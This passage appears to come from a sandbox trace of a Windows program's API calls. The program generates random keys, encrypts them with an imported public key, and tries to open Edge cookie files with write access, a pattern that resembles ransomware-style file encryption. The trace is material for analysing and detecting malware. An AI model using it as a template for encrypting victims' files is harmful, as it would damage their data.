hKey=0x6486f80, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.433] CryptEncrypt (in: hKey=0x6486f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7960000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7960000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.433] GetLastError () returned 0x0 [0224.433] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.433] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.435] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486e40) returned 1 [0224.435] CryptGetKeyParam (in: hKey=0x6486e40, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.435] CryptEncrypt (in: hKey=0x6486e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7970000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7970000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.435] GetLastError () returned 0x0 [0224.435] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.435] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\5GJKP08H.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\5gjkp08h.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.436] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.438] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.439] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.439] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.439] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.439] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.441] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.442] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.442] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.442] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.442] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.444] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6486e80) returned 1 [0224.444] CryptGetKeyParam (in: hKey=0x6486e80, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.444] CryptEncrypt (in: hKey=0x6486e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7980000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7980000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.444] GetLastError () returned 0x0 [0224.444] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.444] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.446] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487000) returned 1 [0224.446] CryptGetKeyParam (in: hKey=0x6487000, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.446] CryptEncrypt (in: hKey=0x6487000, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7990000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7990000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.447] GetLastError () returned 0x0 [0224.447] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.447] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\6NQ9V8CD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\6nq9v8cd.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.447] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.451] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.454] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.455] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.455] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.455] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.460] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.463] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.463] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.463] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.464] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.475] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487640) returned 1 [0224.475] CryptGetKeyParam (in: hKey=0x6487640, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.475] CryptEncrypt (in: hKey=0x6487640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x79a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x79a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.475] GetLastError () returned 0x0 [0224.475] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.475] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.480] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64875c0) returned 1 [0224.490] CryptGetKeyParam (in: hKey=0x64875c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.490] CryptEncrypt (in: hKey=0x64875c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x79b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x79b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.490] GetLastError () returned 0x0 [0224.490] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.490] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\JZ1UUUP9.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\jz1uuup9.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.491] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.496] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.499] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.500] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.500] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.501] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.506] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.507] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.508] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.508] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.508] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.515] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487100) returned 1 [0224.515] CryptGetKeyParam (in: hKey=0x6487100, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.515] CryptEncrypt (in: hKey=0x6487100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x79c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x79c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.515] GetLastError () returned 0x0 [0224.515] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.515] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.521] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487780) returned 1 [0224.521] CryptGetKeyParam (in: hKey=0x6487780, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.521] CryptEncrypt (in: hKey=0x6487780, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x79d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x79d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.521] GetLastError () returned 0x0 [0224.521] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.522] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\KW0ULAFV.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\kw0ulafv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.523] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0224.528] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.534] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.558] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.558] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.558] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.560] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.561] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.562] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.562] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.562] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.564] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64877c0) returned 1 [0224.564] CryptGetKeyParam (in: hKey=0x64877c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.564] CryptEncrypt (in: hKey=0x64877c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x79e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x79e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.564] GetLastError () returned 0x0 [0224.565] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.565] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.566] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487540) returned 1 [0224.566] CryptGetKeyParam (in: hKey=0x6487540, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.566] CryptEncrypt (in: hKey=0x6487540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x79f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x79f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.567] GetLastError () returned 0x0 [0224.567] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.567] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\SW6Z4AI1.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\sw6z4ai1.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.567] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.570] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.570] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.570] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.570] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.572] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.573] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.573] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.573] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.573] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.575] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487140) returned 1 [0224.575] CryptGetKeyParam (in: hKey=0x6487140, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.575] CryptEncrypt (in: hKey=0x6487140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7a00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.575] GetLastError () returned 0x0 [0224.575] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.576] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.578] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487500) returned 1 [0224.578] CryptGetKeyParam (in: hKey=0x6487500, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.578] CryptEncrypt (in: hKey=0x6487500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7a10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.578] GetLastError () returned 0x0 [0224.578] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.578] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\TU6XBKFE.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\tu6xbkfe.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.578] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0224.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.581] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.581] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.582] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.582] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.584] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.584] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.584] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.585] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0224.587] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x64876c0) returned 1 [0224.587] CryptGetKeyParam (in: hKey=0x64876c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.587] CryptEncrypt (in: hKey=0x64876c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7a20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.587] GetLastError () returned 0x0 [0224.587] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0224.587] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0224.589] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487340) returned 1 [0224.589] CryptGetKeyParam (in: hKey=0x6487340, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.589] CryptEncrypt (in: hKey=0x6487340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7a30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0224.589] GetLastError () returned 0x0 [0224.589] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.589] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!002\\MicrosoftEdge\\Cookies\\U9PT9V3Q.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!002\\microsoftedge\\cookies\\u9pt9v3q.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.657] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.659] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.660] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.660] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0224.660] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.660] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0224.662] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.663] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.663] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0224.663] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.663] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0224.665] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6487180) returned 1 [0224.665] CryptGetKeyParam (in: hKey=0x6487180, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0224.665] CryptEncrypt (in: hKey=0x6487180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7a40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7a40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0224.665] GetLastError () returned 0x0 [0224.665] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0224.665] CryptAcquireContextW (in: 